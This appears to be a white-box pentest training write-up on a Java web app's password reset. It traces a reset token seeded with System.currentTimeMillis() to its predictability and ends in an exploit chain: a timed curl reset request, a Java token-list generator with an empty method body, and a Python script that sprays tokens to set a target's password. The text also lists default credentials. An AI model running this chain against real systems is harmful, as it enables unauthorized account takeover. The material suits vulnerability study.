Password Reset Attacks

We’ll start looking at JSP files.

- Exploration of Structure

The application is inspected using white box techniques, revealing that is packaged as an EAR file, which contains several WAR files. The structure is analyzed using the tree command:

tree -L 3

This exploration is crucial to understand the application's composition and the locations of key files.

- Vulnerability Discovery in Password Reset Function

Focus is placed on the password reset functionality. The RequestPasswordReset.jsp file is specifically examined for vulnerabilities related to authentication and password resets.

- Analysis of RequestPasswordReset.jsp

This file is found to contain custom libraries and essential application logic for password resets. The importance of non-null variables principalName, providerName, and segmentName is noted, as they are crucial for the password reset logic to execute.

- Tracing the Password Reset Logic

The process involves obtaining a UserHome object and invoking its requestPasswordReset method. This investigation leads to the inspection of various files, including example-kernel.jar.

- Analysis of UserHomeImpl and UserHomes Classes

Here, the requestPasswordReset method is closely examined. In the UserHomes class, this method generates a reset token and forms URLs for password reset confirmation and cancellation.

- Token Generation Method Analysis

The getRandomBase62 method in Util.java, which is responsible for generating a random token, is analyzed. The method's reliance on the current time to create a random string highlights a potential vulnerability due to its predictability.

- Potential Exploit

The deterministic nature of token generation, based on System.currentTimeMillis(), poses a significant vulnerability. This could be exploited to bypass authentication, leading to unauthorized access and potentially remote code execution and web shell creation on the server.

- Analysis of Token Generation Method

It's observed that example-app uses java.util.Random, seeded with System.currentTimeMillis(), for generating password reset tokens. This method's lack of cryptographic security could lead to predictable outcomes.

- Demonstration of Predictability in Random Numbers

The predictability of Random is demonstrated using jshell, showing that two instances with the same seed generate identical number sequences:

jshell

import java.util.Random;

Random r1 = new Random(42);

Random r2 = new Random(42);

int x, y;

for(int i=0; i<10; i++) { x = r1.nextInt(); y = r2.nextInt(); if(x == y){

System.out.println("They match! " + x);}}

Contrarily, SecureRandom produces different outputs even with the same seed, underscoring its cryptographic strength. This is again shown using jshell.

jshell

import java.security.SecureRandom;

byte[] s = new byte[] { (byte) 0x2a}

SecureRandom r1 = new SecureRandom(s);

SecureRandom r2 = new SecureRandom(s);

if(r1.nextInt() == r2.nextInt()) { System.out.println("They match!"); } else { System.out.println("No match."); }

/exit

- Vulnerability in Token Generation

The use of Random with System.currentTimeMillis() is identified as a vulnerability, as it could allow the prediction of token values if the generation time is known.

Random random = new Random(System.currentTimeMillis());

- Exploitation Strategy

The text suggests that predicting the token generation time could enable an attacker to replicate the token using a similarly seeded Random instance, compromising account security.

- Account Determination

A default installation of example-app includes three accounts with known username/password pairs: guest/guest, admin-Standard/admin-Standard, and admin-Root/admin-Root.

The purpose is to analyze error messages from login and password reset pages to determine the validity of submitted usernames.

Identifying the Password Reset Page:

Navigate to the login page and submit invalid credentials to reveal the link to the password reset page.

The password reset page URL: http://example-app/passwdreset?login=false

Submit a password reset request for a default username (guest, admin-Standard, or admin-Root) through the identified password reset page.

Observe the response differences between valid and invalid account submissions.

A successful password reset request for a valid account and an error message for an invalid account can help identify active accounts.

Based on the response differences, the existence of the "guest" account is confirmed.

- Timing the Reset Request

In order to generate the correct password reset token, we need to guess the seed value, which is the exact millisecond that the token was generated.

The value returned by System.currentTimeMillis() is already in UTC.

We can get the range of potential seed values using the date command before and after we submit the reset request with curl:

date +%s%3N && curl -s -i -X 'POST' --data-binary 'id=guest' 'http://example-app/RequestPasswordReset.jsp' && date +%s%3N

This range varies based on network latency and server processing time. However, the seed is determined early in the password reset process, so it is likely to be closer to the start time rather than the end time.

The server response included a Date header with a value we can convert to the Unix epoch time using a site such as EpochConverter to compare with the locally calculated timestamps.

The values should be close enough to proceed with this attack.

- Generate Token List

Now that we have the range of potential random seeds, we need to create our own token generator:

touch example-appToken.java

We will set the start and stop values which are based on the timestamps from when we ran curl:

import java.util.Random;

public class example-appToken {
    public static void main(String args[]) {
        int length = 40;
        long start = Long.parseLong("1582038122371");
        long stop = Long.parseLong("1582038122769");
        String token = "";
        for (long l = start; l < stop; l++) {
            token = getRandomBase62(length, l);
            System.out.println(token);
        }
    }

    public static String getRandomBase62(int length, long seed) {
    }
}

Compile it:

javac example-appToken.java

Run it:

java example-appToken > tokens.txt

- Resets Automation

Examining UserHomes.class, we find the format of a reset link:

String resetConfirmUrl = webAccessUrl + (webAccessUrl.endsWith("/") ? "" : "/") + "PasswordResetConfirm.jsp?t=" + resetToken + "&p=" + providerName + "&s=" + segmentName + "&id=" + principalName;

We have our tokens, but we will also need to provide values for providerName, segmentName, and id. We can use the inspector to locate this values. Then we will search those patterns at files like WizardInvoker.jsp to notice what values we should send.

Examining PasswordResetConfirm.jsp, we notice that, in addition to the token, providerName, segmentName, and id, we need to provide a new password value in the password1 and password2 fields

To automate everything with python:

#!/usr/bin/python3
import requests
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-u', '--user', help='Username to target', required=True)
parser.add_argument('-p', '--password', help='Password value to set', required=True)
args = parser.parse_args()

target = "http://example-app/PasswordResetConfirm.jsp"
print("Starting token spray. Standby.")

with open("tokens.txt", "r") as f:
    for word in f:
        # t=resetToken&p=CRX&s=Standard&id=guest&password1=password&password2=password
        payload = {
            't': word.rstrip(),
            'p': 'CRX',
            's': 'Standard',
            'id': args.user,
            'password1': args.password,
            'password2': args.password
        }
        r = requests.post(url=target, data=payload)
        res = r.text
        if "Unable to reset password" not in res:
            print("Successful reset with token: %s" % word)
            break

./example-appReset.py -u guest -p password

Last updated